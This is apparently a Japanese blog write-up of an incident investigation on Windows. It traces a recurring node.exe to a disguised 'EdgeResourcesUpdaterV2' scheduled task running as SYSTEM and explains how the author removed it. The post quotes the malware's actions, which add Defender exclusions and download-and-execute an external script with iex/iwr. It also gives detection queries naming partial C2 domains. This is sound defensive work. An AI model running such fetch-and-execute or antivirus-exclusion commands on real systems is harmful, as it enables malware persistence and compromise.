[PR]
本サイトはアフィリエイト広告を利用しています。
Windowsトラブル調査・セキュリティ実録
Windows上で、一瞬だけ起動して消えるnode.exeが繰り返し実行されていました。
実行ファイルの保存先はC:\Windows\System32配下で、フォルダ名には
「EdgeResourcesUpdaterV2」というMicrosoft Edgeを連想させる文字列が使われていました。
当初はWindowsやEdgeの新しい更新機能とも考えましたが、Process MonitorとPowerShellで起動元を追跡した結果、 通常のMicrosoft製更新処理では説明しにくいタスクが見つかりました。
タスクマネージャーなどを確認していると、node.exeが一瞬だけ表示され、すぐに消える現象が続いていました。
常駐しているわけではないため、通常のプロセス一覧だけでは親プロセスや起動コマンドを確認できませんでした。
対象のフォルダは、次の場所に作成されていました。
C:\Windows\System32\EdgeResourcesUpdaterV2-2m98a
フォルダ内には、次のようなファイルが含まれていました。
| ファイル・フォルダ | 確認できた内容 |
|---|---|
node.exe |
Node.js系の実行ファイル |
app.js |
通常のテキストとしては読みにくいバイナリ化・難読化されたデータ |
preload.js |
起動時に読み込まれるJavaScript |
*.node |
Node.js用のネイティブモジュール |
db |
LevelDB形式に見えるデータ保存領域 |
build.zip、node.zip |
展開・更新用とみられるアーカイブ |
調査の途中で対象フォルダの名前を変更したところ、元の名前のフォルダが再び自動作成されました。 この時点で、別の場所にあるタスク、サービス、スクリプトなどがフォルダを復元している可能性が高くなりました。
ただし、フォルダが再作成されたという事実だけでは、Windowsの正規機能なのか不正な永続化処理なのかは判断できません。 そこで、Microsoft Sysinternalsのツールを使って実行経路を追跡しました。
実行中のプロセス、親子関係、コマンドライン、読み込んでいるモジュールを確認するために使用しました。
しかし、今回のnode.exeは短時間で終了するため、手動で捕捉するのは困難でした。
一瞬で終了するプロセスでも、起動履歴やファイルアクセスを残せるため、今回の調査では特に役立ちました。 フィルターは次のように設定しました。
Operation is Process Create Include
Path contains node.exe Include
Path is node.exeでは、実際のフルパスと一致しないため何も表示されませんでした。
containsへ変更することで、繰り返し起動するnode.exeを記録できました。
タスクスケジューラ内にnode.exeや不審なPowerShellを実行するタスクがないか、次のコマンドで確認しました。
Get-ScheduledTask | ForEach-Object {
$t = $_
$_.Actions |
Where-Object {
$_.Execute -match 'powershell|pwsh|cmd|node' -or
$_.Arguments -match 'EdgeResourcesUpdater|iwr|iex'
} |
ForEach-Object {
[PSCustomObject]@{
TaskName = $t.TaskName
TaskPath = $t.TaskPath
Execute = $_.Execute
Arguments = $_.Arguments
}
}
} | Format-List
その結果、次のタスクが見つかりました。
TaskName : EdgeResourcesUpdaterV2-2m98a
TaskPath : \Microsoft\Windows\Policies\
Microsoftの標準タスクに見える場所と名称でしたが、登録されていたアクションは極めて不自然なものでした。
powershell -NoProfile -Command Add-MpPreference -ExclusionProcess ...
powershell -NoProfile -Command Add-MpPreference -ExclusionPath ...
タスクには、Microsoft Defenderのスキャン対象からプロセスやフォルダを除外する処理が登録されていました。 正規の管理作業でも除外設定は使われますが、利用者に説明せず自動的に除外を追加する処理は注意が必要です。
次の形式のコマンドが登録されていました。
powershell -NoProfile -Command iex (iwr -useb 外部ドメイン)
確認された接続先は、誤クリック防止のため一部を置き換えて表記します。
iwrで外部から取得した内容を、iexでそのままPowerShellコードとして実行する構造です。
接続先の内容は後から変更される可能性もあります。
タスクXMLには、次のSIDが設定されていました。
<UserId>S-1-5-18</UserId>
S-1-5-18はWindowsのLocal Systemを表します。
一般ユーザーより強い権限で処理が実行される構成でした。
タスクには、ApplicationログとSecurityログを対象にしたイベントトリガーが登録されていました。
<Select Path="Application">*</Select>
<Select Path="Security">*</Select>
特定のイベントIDではなく、対象ログ内の幅広いイベントを拾う構造です。 Windowsがログを書き込むたびにタスクの起動条件が成立し、多数の実行要求が発生する可能性があります。
<MultipleInstancesPolicy>Queue</MultipleInstancesPolicy>
前の処理が終了する前に次のトリガーが発生した場合、実行要求を順番待ちにする設定でした。 一見すると一定間隔のループに見えましたが、実際にはイベントログの発生に応じて実行が積み重なっていた可能性があります。
調査中、ネットワーク接続を遮断すると、それまで繰り返していた処理が正常に進まないことも確認しました。 タスク内に外部サイトへのアクセス命令があるため、外部通信が実行条件の一部だったと考えると整合します。
ただし、ネットワーク遮断時にどの段階で停止したのかまでは確定していません。 外部からスクリプト、設定、復号鍵、追加命令などを取得していた可能性がありますが、 暗号化・難読化された本体の詳細な機能は引き続き静的解析が必要です。
Disable-ScheduledTask -TaskPath "\Microsoft\Windows\Policies\" -TaskName "EdgeResourcesUpdaterV2-2m98a"
Unregister-ScheduledTask -TaskPath "\Microsoft\Windows\Policies\" -TaskName "EdgeResourcesUpdaterV2-2m98a" -Confirm:$false
Get-CimInstance Win32_Process |
Where-Object {
$_.Name -eq "powershell.exe" -and
$_.CommandLine -match "EdgeResourcesUpdater|ambertrailhouse|purecliffspace"
} |
Select-Object ProcessId,ParentProcessId,CommandLine
$p = Get-MpPreference
$p.ExclusionPath
$p.ExclusionProcess
不審な除外があった場合は、内容を記録してから個別に削除します。 除外一覧を確認せず、一括で消すと正規ソフトの設定まで消す可能性があります。
Remove-MpPreference -ExclusionPath "削除対象の正確なパス"
Rename-Item "C:\Windows\System32\EdgeResourcesUpdaterV2-2m98a" "EdgeResourcesUpdaterV2-2m98a.QUARANTINE"
すぐに削除せず、解析と証拠保存のため.QUARANTINEへ変更しました。
隔離したフォルダ内のEXE、JS、NODEファイルは実行していません。
タスクの削除後、繰り返し起動していたnode.exeは起動しなくなりました。
この結果から、少なくとも今回観測していたnode.exeの反復実行は、
発見したタスクを起点としていた可能性が非常に高いと判断できます。
削除確認には、次のコマンドを使用しました。
Get-ScheduledTask -TaskPath "\Microsoft\Windows\Policies\"
隔離フォルダの確認:
Get-ChildItem C:\Windows\System32 |
Where-Object {
$_.Name -like "EdgeResourcesUpdater*"
}
調査前には、PCのブラックアウトや完全な電源断も発生していました。 不審タスクはイベント発生ごとにPowerShellとNode.js処理を起動し、 外部通信やファイル読み込みを繰り返していた可能性があります。
ただし、現時点ではこのタスクが電源断の直接原因だったと断定する証拠はありません。 GPUドライバー、Wi-Fiドライバー、熱、電源回路、Windows Updateなど、別の要因も候補として残ります。
タスク停止後にPCが安定するかを一定期間観察し、再発の有無で関連性を判断する必要があります。
McAfeeが一部の通信やファイルをブロックしていた可能性はあります。 しかし、タスク自体、Defender除外、PowerShell実行、Node.jsフォルダは残っていたため、 少なくともすべてを自動的に除去できていたわけではありません。
McAfeeの保護履歴に、次の情報が残っているかを確認する必要があります。
powershell.exenode.exeEdgeResourcesUpdaterV2-2m98aログが一致すれば、どの段階で処理を止めたのか判断する材料になります。 記録がない場合でも、安全だったことの証明にはなりません。
隔離フォルダ一式はZIPとして保存し、静的解析用の証拠としました。 初期確認では、正規のNode.js関連部品に見えるファイルと、 テキストとして直接読み取れない難読化・バイナリ化されたデータが混在していました。
正規のオープンソース部品が含まれていても、全体が正規ソフトである証明にはなりません。 正規の実行環境やライブラリが、不審な処理を動かすために組み込まれる場合もあるためです。
今後の解析対象は次のとおりです。
app.jsの実際の処理内容preload.jsの読み込み・復号構造build.zipと展開後ファイルの一致確認Process Createで履歴を取るiexとiwrを組み合わせた外部取得・即時実行に注意する「EdgeResourcesUpdaterV2」という名称とSystem32配下の保存場所だけを見ると、 Microsoft EdgeやWindowsの正規更新機能に見えました。
しかし、実際のタスクには、SYSTEM権限、Defender除外、外部スクリプトの取得・即時実行、 広範囲のイベントトリガーが設定されていました。 少なくとも、通常のEdge更新処理として信頼できる構成ではありません。
タスクを無効化・削除し、関連フォルダを隔離したところ、
繰り返し起動していたnode.exeは停止しました。